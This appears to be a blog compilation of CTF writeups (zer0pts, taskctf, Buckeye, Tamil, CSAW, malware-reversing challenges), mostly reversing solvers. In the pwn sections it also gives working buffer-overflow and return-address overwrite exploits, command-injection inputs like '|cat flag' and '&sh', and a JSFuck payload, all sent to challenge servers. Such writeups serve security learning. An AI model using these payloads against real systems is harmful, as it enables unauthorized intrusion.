zer0pts CTF 2022 - service (Rev) Writeup
主催者およびスポンサーの皆様、素晴らしいCTFを開催してくださりありがとうございました。
service (Rev)
入力した文字列から2文字ずつSHA256ハッシュを求めて、ハードコードしてあるものと比較している。IATが書き換えられており、IDA等では正しい逆アセンブル結果が表示されないが、デバッガー (x64dbg, WinDbgなど) を用いることで Cryptographic API (Win32) を呼び出していることがわかる。
以下はその内容をもとに記述したソルバである。
import string import hashlib flag = "" with open('chall.exe', 'rb') as cf: cf.seek(0x2220) dat = cf.read(0x261f-0x2220+1) for i in range(0, 32*32, 32): for c1 in string.printable: for c2 in string.printable: pos = c1 + c2 if dat[i:i+32].hex() == hashlib.sha256(pos.encode()).hexdigest(): flag += pos print(flag)
Flare-On Challenges 2014
2014年度のFlare-On Challengesの問題をすべて解きました。
(6問目と7問目は公式のWriteupを読みながらですが......)
需要があるかどうかわかりませんが、Writeupを公開します。
C6,C7のWriteupだけ何故か日本語で書いていますが、深い意味はないです。
taskctf21 Writeup
面白かったです!主催者のtask4233さん、素晴らしいCTFをありがとうございました。
Welcome
welcome
Sanity Check. C&P.
Misc
js
うまく記号だけのJavaScriptコードで yes
という文字列を表現してPOSTすればFlagを取得することができます。(参考1,参考2)
import requests print(requests.post("http://34.145.29.222:30009", json={'want_flag': '(+[![]]+[+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]])])[[+!+[]]+[+[]]]+(!![]+([]+[]))[!+[]+!+[]+!+[]]+(![]+([]+[]))[!+[]+!+[]+!+[]]'}).text) # taskctf{js_1s_4_tr1cky_l4ngu4ge}
polyglot / polygolf
C言語、Go言語の両方で動作する(かつpolygolfでは185バイト以下のサイズの)コードを作成して送信することでFlagを取得することができます。(参考)
以下は私が書いて使用したコード。
// \ /* main(){system("cat flag");} #if 0 //*/package main import(."fmt" ."os/exec") func main(){f,_:=Command("cat", "flag").Output() Print(string(f))} // \ /* #endif//*/
Pwnable
super_easy
BOFするように適当なPayloadを送信すればFlagを取得することができます。
$ echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' | nc 34.145.29.222 30002 Input task name task task name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA task done: 1094795585 taskctf{bre4k_e4sily}
super_easy2
スコアの値が0x1337になるようなPayloadを送信すればFlagを取得することができます。
$ echo -e 'AAAAAAAAAAAAAAAA\x01\x00\x00\x00\x37\x13\x00\x00' | nc 34.145.29.222 30003 Input task name task task name: AAAAAAAAAAAAAAAA task done: 1 taskctf{y0u_c4n_4ls0_0verwr1te}
script_kiddie
配布されているソースコードを読んでみると、自明なOSコマンドインジェクション脆弱性が見つかるので、cat flag
するようなPayloadを送信すればFlagを取得することができます。
$ echo '|cat flag' | nc 34.145.29.222 30005 Which flag do you want?taskctf{n0w_y0u_g0t_shell}
super_easy3
新しく加わった deadline
によるチェックをクリアできるようにExploitすればFlagを取得することができます。
// gcc genpayload.c -o genpayload #include <stdio.h> #include <stdint.h> #include <time.h> typedef struct { char name[16]; uint32_t is_done; uint32_t score; double rate; time_t deadline; } TASK; int main() { TASK task = {"AAAAAAAAAAAAAAAA",1,0x1337,999,time(NULL)}; FILE *fp = fopen("/tmp/task.tmp", "wb"); fwrite(&task, sizeof(TASK), 1, fp); return 0; }
from pwn import * import subprocess io = remote('34.145.29.222', 30004) subprocess.run(["./genpayload"]) cs = open('/tmp/task.tmp','rb').read() io.send(cs) io.interactive()
$ python3 solve.py [+] Opening connection to 34.145.29.222 on port 30004: Done [*] Switching to interactive mode Input task name $ task task name: AAAAAAAAAAAAAAAA task done: 1 task score: 4919 task deadline: Sun Dec 12 10:11:39 2021 taskctf{n0w_y0u_kn0w_t1me_t}[*] Got EOF while reading in interactive $ [*] Interrupted [*] Closed connection to 34.145.29.222 port 30004
script_kiddie2
sh
して cat flag
すればFlagを取得することができます。
$ nc 34.145.29.222 30007 Which flag do you want?&sh cat flag taskctf{sh_1s_als0_0k}
prediction
Return Addressを書き換えるようなExploitを書けばFlagを取得することができます。
from pwn import * import struct io = remote('34.145.29.222', 30006) payload = b'taskctf{' payload += b'A'*48 payload += struct.pack('<I', 0x4013F7) io.sendline(payload) io.sendline(b'cat flag') io.interactive()
> python .\prediction_solve.py [x] Opening connection to 34.145.29.222 on port 30006 [x] Opening connection to 34.145.29.222 on port 30006: Trying 34.145.29.222 [+] Opening connection to 34.145.29.222 on port 30006: Done [*] Switching to interactive mode What is the flag? ***start stack dump*** 0x7fff7a7cc980: 0x7b6674636b736174 <- rsp 0x7fff7a7cc988: 0x4141414141414141 0x7fff7a7cc990: 0x4141414141414141 0x7fff7a7cc998: 0x4141414141414141 0x7fff7a7cc9a0: 0x4141414141414141 0x7fff7a7cc9a8: 0x4141414141414141 0x7fff7a7cc9b0: 0x4141414141414141 <- rbp 0x7fff7a7cc9b8: 0x00000000004013f7 <- return address 0x7fff7a7cc9c0: 0x0000000000000000 0x7fff7a7cc9c8: 0x00007ff3b999c0b3 0x7fff7a7cc9d0: 0x00007ff3b9b616a0 ***end stack dump*** taskctf{r0p_1s_f4mous_way}
ちなみに別解もあります。
$ strings prediction | grep taskctf{ taskctf{ taskctf{r0p_1s_f4mous_way}
多分これが一番早いと思います。 :joy:
Buckeye CTF 2021 Rev/Misc Writeup
I have participated Buckeye CTF 2021, and solved most of Misc challenges *1 & 3 Rev challenges. They were really fun, and I am excited to study about hard Rev challenges that I could not solve after the competition. Thanks to all of the organizers & sponsors for this CTF!!!
Rev
BASIC
Program file for TI83F
is distributed. It can be decoded into human readable code using certain tool like 8xpdump, and flag can be obtained from it.
Buttons
By decompiling the given jar file into java code, we can figure out that its something like maze game. Grid (with information that where player should not step in) is hardcoded, so player can reach out flag using it.
The Legend of the Headless Horseman
By looking into given executable, I knew that head-part of ELF file (for multiple architecture) is hardcoded, so I have extracted from it. Challenge description, text inside executable gave me an idea that distributed files under body_bag
directory can be combined with these headers. I used QEMU for each architecture to discover which combination of ELF header and body part is working. As a result of analyzing the working ELF file obtained, I got a flag for this challenge.
Misc
sanity_check
C&P flag from Discord.
replay
Send same input as pcap file is showing.
layers
Save docker image as a file, and extract image file with the flag from it. At first, I though that this is sort of forensics challenge XD
USB Exfiltration
Pcap file with USB packets is distributed. There is nothing complicated here, just extract & combine & decompress. Btw, I was the 3rd person who have solved this challenge!!!
Don't Talk to Blue Birds
Path to flag can be found on following post at Twitter. Searching phrase Witch Security
will reach out this account.
Check out this guide to OSINT I found https://t.co/ObL2BbxspW
— Gillian Owens (@witch_security) 2021年10月19日
Open Source In(sta)telligence
Path to flag can be found on following post at Instagram. Searching phrase Witch Security
will reach out this account.
www.instagram.com
*1:I was slept when "Survey" challenge has been opened. :sob:
Tamil CTF 2021 Writeup (rev)
This is the writeup article for reversing challenges except "Fool Me" in Tamil CTF 2021. All challenges have really awesome quality, and I have learned lots of stuff from them. Thank you to everyone who have helped organizing this wonderful event. 🙏
Digital play
Challenge that requires player to analyze the file with data of digital logic circuit. By searching with interesting strings inside the encrypt.dig
(e.g. visualElement
), tool named Digital
can be found on GitHub (Link). Opening the file using this tool will provide a visualized information like below.
By writing some sort of script / program that decodes the data inside output.txt
, flag can be obtained.
Obscure
Byte-Compiled Python code file is distributed, so it can be reversed into Python script using tool like uncompyle2. By obtaining the encoded flag inside the script, and reverse the flow that is generating the encoded data, flag can be obtained.
eezy
Binary patching challenge. Well, I have solved it with static analysis because I am not that familiar with debugger like gdb
, radare2
. Algorithm of distributed flag-checker program is not that hard, so it can be reversed easily.
Gold Digger
Reverse the flow of program (using tool like Ghidra, IDA) to obtain the flag. I have used Ghidra to solve and here is Ghidra Zip File with some modification (e.g. renaming/retyping varibale) done by me, so it is much more human-friendly to read compared to initial state.
Guesser
Distributed file is Windows executable written with .NET Framework, so it can be decompiled using tool like dnSpy, ILSpy. Code where validates username and password is reverse-able with simple logic, so I have wrote two line script that gets the username, password.
HeyImAB
Distributed file is Android Backup (AB) file. It can be extracted easily, and by grepping the files with TamilCTF{
, flag can be obtained.
Unknown
Distributed file is written in Python (packed to executable using PyInstaller), so it can be reversed to format of script using pyinstxtractor.py
and pycdc
. Reversed script is bit obfuscated using eval function, so I have cleaned up the script and reversed the logic to obtain the flag.
Hybrid Reptile
As same as Unknown
challenge, distributed file is written in Python. It can be reversed to format of script using pyinstxtractor.py
and pycdc
. There was unused variable inside the script that seems to be Base64 encoded data, so I have decoded it and knew that its ELF file. I have decompiled it with Ghidra and obtained the key that can decrypt the flag.
CSAW CTF Quals 2021 Writeup
I really love ransomwaRE challenge, because it was very good practice for my static analysis (and some dynamic analysis) against windows malware. Thanks to everyone belongs to CPAW CTF organizer for hosting this amazing CTF competition.
rev
ransomwaRE
This challenge is focusing about ransomware-like program that encrypts PDF file(s) under %USERPROFILE%\SecretCSAWDocuments
folder using AES128 algorithm (with CTR mode). Distributed executable is just a downloader (and doing some plus alpha stuffs), the essential part of program can be downloaded from http://rev.chal.csaw.io:8129/5692481aecd40429eecf588d28ce6a31. Program has a structure that keeps key, nonce, EVP_CIPHER object, and user id (which will be written on %USERPROFILE%\AppData\Local\Temp
, and displayed when encryption is done), so I have named this Config
structure. Config
will be initialized inside Gin
function, by storing random bytes to each member variables inside. Key, nonce, user id will be hexlified and sent to remote server (well, server only returns 404 so this part seems to be meaningless).
Because its using same keystream for all files, we can attack this cipher by known-plaintext keystream-reuse attack. I am not well-known about crypto stuffs, so please check this page that I have learned about it. This is the solver, which will output flag.pdf
with the flag.
Solver:
import os import binascii from Crypto.Cipher import AES from Crypto.Util import Counter from Crypto.Util import strxor # us-aers-ransomware.pdf sample_plain = open('us-aers-ransomware.pdf.backup', 'rb').read() sample_cipher = open('us-aers-ransomware.pdf.cryptastic', 'rb').read() # flag.pdf flag_cipher = open('flag.pdf.cryptastic', 'rb').read() keystream = strxor.strxor(sample_cipher, sample_plain)[:len(flag_cipher)] flag_plain = open('flag.pdf', 'wb').write(strxor.strxor(flag_cipher, keystream))
Output:
Flag: flag{w4y_t0_put_th3_RE_1n_W1nd0w5_r4n50mw4RE}
misc
Welcome
C&P from Discord.
Flag: flag{W3Lcom3_7o_CS4w_D1ScoRD}
warm-up
poem-collection
Easy Web Chall. (Answer)
Flag: flag{l0c4l_f1l3_1nclusi0n_f0r_7h3_w1n}
Turing
Flag: flag{scruffy_looking_nerf_herder}
Password Checker
Very simple and easy pwn challenge. Just be careful about stack alignment.
Solver:
from pwn import * from struct import pack # conn = process('./password_checker') conn = remote('pwn.chal.csaw.io', 5000) payload = b'A' * 72 # 72 payload += pack('<I', 0x401173) conn.recvuntil(b"Enter the password to get in: \n>") conn.sendline(payload) conn.interactive()
Output:
$ python3 test.py [+] Opening connection to pwn.chal.csaw.io on port 5000: Done [*] Switching to interactive mode This is not the password$ ls flag.txt password_checker $ cat flag.txt flag{ch4r1i3_4ppr3ci4t35_y0u_f0r_y0ur_h31p}
Flag: flag{ch4r1i3_4ppr3ci4t35_y0u_f0r_y0ur_h31p}
checker
Reversing Python Script.
Solver
def up(x): x = [f"{ord(x[i]) << 1:08b}" for i in range(len(x))] return ''.join(x) def up_rev(d): x = [] for i in range(0, len(d), 8): x.append(chr(int('0b'+d[i:i+8],2) >> 1)) return ''.join(x) def down(x): x = ''.join(['1' if x[i] == '0' else '0' for i in range(len(x))]) return x def right(x,d): x = x[d:] + x[0:d] return x def right_rev(x,d): x = x[-1*d:] + x[:-1*d] return x def left(x,d): x = right(x,len(x)-d) return x[::-1] def left_rev(x,d): x = x[::-1] return right_rev(x,len(x)-d) def encode(plain): d = 24 x = up(plain) x = right(x,d) x = down(x) x = left(x,d) return x def decode(encoded): d = 24 x = left_rev(encoded, d) x = down(x) x = right_rev(x, d) plain = up_rev(x) return plain def main(): encoded = "1010000011111000101010101000001010100100110110001111111010001000100000101000111011000100101111011001100011011000101011001100100010011001110110001001000010001100101111001110010011001100" print(decode(encoded)) if __name__ == "__main__": main()
Output:
> python .\checker.py flag{r3vers!nG_w@rm_Up}
Flag: flag{r3vers!nG_w@rm_Up}
Beginner Malware Reversing Challenges Writeup
常設なので解き方のみ。
Hide and Seek
strings1
Ghidraで開いて静的解析すればプログラム内で使用されているFlagを入手することができます。
strings2
超シンプルなStackstrings問題。floss
に投げればFlagを入手することができます。
strings3
FindResourceA
関数からリソースからFlagの文字列を取得していることがわかり、LoadStringA
関数によって取得している文字列のIDがわかるので、その情報をもとにリソースを漁ればFlagを入手することができます。
Shellcode
shellcode1
VirtualAlloc
関数でRWXな領域を確保して、memcpy
関数で埋め込まれたシェルコードをコピーして実行しているだけ。シェルコード部分を右クリックして "Disassemble" して引数を ESI
レジスタから取得するように設定すれば処理を読むことができるので、それをもとにFlagをデコードする。
shellcode2
shellcode1と違いStackstringsを用いて使用するAPIなどを隠している。下記のようにすればFlagを入手することができます。
>>> dat_f = open('./shellcode2.exe_', 'rb') >>> dat_f.seek(0x4e) 78 >>> dat = dat_f.read(0x26) >>> arg = bytearray(b'\x12\x24\x28\x34\x5b\x23\x26\x20\x35\x37\x4c\x28\x76\x26\x33\x37\x3a\x27\x3d\x6e\x25\x48\x6f\x3c\x58\x3a\x68\x2c\x43\x73\x10\x0e\x10\x6b\x10\x6f\x10') >>> for i in range(0x24): print(chr((dat[i] ^ arg[i]) & 0xff), end='') ... FLAG{XXXXX REDACTED XXXXX}
Devirtualization
VM1
PPC問。処理を写経するだけ。
Solver:
dst = bytearray(b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\x7e\x7d\x55\x1e\x05\xe6\x9f\xe4\xa6\x47\x50\x02\x01\xc7\xfc\xcb\x60\x09\xc6\x0e\x2e\x41\x65\xa4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x1d\xbd\x01\x05\x53\x01\x12\x48\x01\x10\xe6\x01\x13\x8a\x01\x0d\x47\x01\x16\x13\x01\x0a\x15\x01\x00\x98\x01\x02\x3c\x01\x18\xd9\x01\x1a\x57\x01\x06\xab\x01\x1b\xc6\x01\x01\x32\x01\x17\x20\x01\x15\x6f\x01\x11\x2d\x01\x08\xc9\x01\x09\xe7\x01\x03\x12\x01\x0c\x2f\x01\x0e\x88\x01\x19\x6c\x01\x04\x65\x01\x1e\xae\x01\x14\x59\x01\x1f\x91\x01\x1c\x5d\x01\x0f\xae\x01\x0b\x15\x01\x07\xcc\x02\x20\x00\x03\x00\x00\x02\x21\x00\x03\x01\x00\x02\x22\x00\x03\x02\x00\x02\x23\x00\x03\x03\x00\x02\x24\x00\x03\x04\x00\x02\x25\x00\x03\x05\x00\x02\x26\x00\x03\x06\x00\x02\x27\x00\x03\x07\x00\x02\x28\x00\x03\x08\x00\x02\x29\x00\x03\x09\x00\x02\x2a\x00\x03\x0a\x00\x02\x2b\x00\x03\x0b\x00\x02\x2c\x00\x03\x0c\x00\x02\x2d\x00\x03\x0d\x00\x02\x2e\x00\x03\x0e\x00\x02\x2f\x00\x03\x0f\x00\x02\x30\x00\x03\x10\x00\x02\x31\x00\x03\x11\x00\x02\x32\x00\x03\x12\x00\x02\x33\x00\x03\x13\x00\x02\x34\x00\x03\x14\x00\x02\x35\x00\x03\x15\x00\x02\x36\x00\x03\x16\x00\x02\x37\x00\x03\x17\x00\x02\x38\x00\x03\x18\x00\x01\x19\x00\x04\x00\x00\x00') tmp = 0 def func(x, y, z): global tmp if x == 1: dst[y] = z else: if x == 2: tmp = dst[y] & 0xff else: if x != 3: return 0 dst[y] = dst[y] ^ tmp return 1 i = 0 a = func(dst[0xff+i], dst[0xff+i+1], dst[0xff+i+2]) while a != 0: a = func(dst[0xff+i], dst[0xff+i+1], dst[0xff+i+2]) i += 3 print(dst)
Output:
> python .\vm_solver.py bytearray(b'FLAG{XXXXX REDACTED XXXXX}\x00W\xc6]\xbd\xae\x91\xde~}U\x1e\x05\xe6\x9f\xe4\xa6GP\x02\x01\xc7\xfc\xcb`\t\xc6\x0e.Ae\xa4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x1d\xbd\x01\x05S\x01\x12H\x01\x10\xe6\x01\x13\x8a\x01\rG\x01\x16\x13\x01\n\x15\x01\x00\x98\x01\x02<\x01\x18\xd9\x01\x1aW\x01\x06\xab\x01\x1b\xc6\x01\x012\x01\x17 \x01\x15o\x01\x11-\x01\x08\xc9\x01\t\xe7\x01\x03\x12\x01\x0c/\x01\x0e\x88\x01\x19l\x01\x04e\x01\x1e\xae\x01\x14Y\x01\x1f\x91\x01\x1c]\x01\x0f\xae\x01\x0b\x15\x01\x07\xcc\x02 \x00\x03\x00\x00\x02!\x00\x03\x01\x00\x02"\x00\x03\x02\x00\x02#\x00\x03\x03\x00\x02$\x00\x03\x04\x00\x02%\x00\x03\x05\x00\x02&\x00\x03\x06\x00\x02\'\x00\x03\x07\x00\x02(\x00\x03\x08\x00\x02)\x00\x03\t\x00\x02*\x00\x03\n\x00\x02+\x00\x03\x0b\x00\x02,\x00\x03\x0c\x00\x02-\x00\x03\r\x00\x02.\x00\x03\x0e\x00\x02/\x00\x03\x0f\x00\x020\x00\x03\x10\x00\x021\x00\x03\x11\x00\x022\x00\x03\x12\x00\x023\x00\x03\x13\x00\x024\x00\x03\x14\x00\x025\x00\x03\x15\x00\x026\x00\x03\x16\x00\x027\x00\x03\x17\x00\x028\x00\x03\x18\x00\x01\x19\x00\x04\x00\x00\x00')
Ransomware
ransomware1
少し頭を捻る必要のある問題。エンコードされた flag.txt
と複数の画像ファイルをエンコードしたファイルが渡される。復号に必要なキーはプログラム内に見つからないが、先述した複数の画像ファイルは全てWindows 7のSample Picturesなので、ネットでファイル名を検索するなどしてファイルを入手する。あとは雑にキーを逆算して、flag.txt
をデコードするだけ。
key = [] hydra_enc = open('.\Pictures\\Sample Pictures\\Hydrangeas.jpg_encrypted', 'rb').read() hydra_dec = open('.\Pictures\\Sample Pictures\\Hydrangeas.jpg', 'rb').read() for i in range(len(hydra_enc)): key.append(hydra_enc[i] ^ hydra_dec[i]) res = '' flag_enc = open('.\Documents\\flag.txt_encrypted', 'rb').read() for i in range(len(flag_enc)): res += chr(flag_enc[i] ^ key[i]) open('.\Documents\\flag.txt', 'w').write(res)